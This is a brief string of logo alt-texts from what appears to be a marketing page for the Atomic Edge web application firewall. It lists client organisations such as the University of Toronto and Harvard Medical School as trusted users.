Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.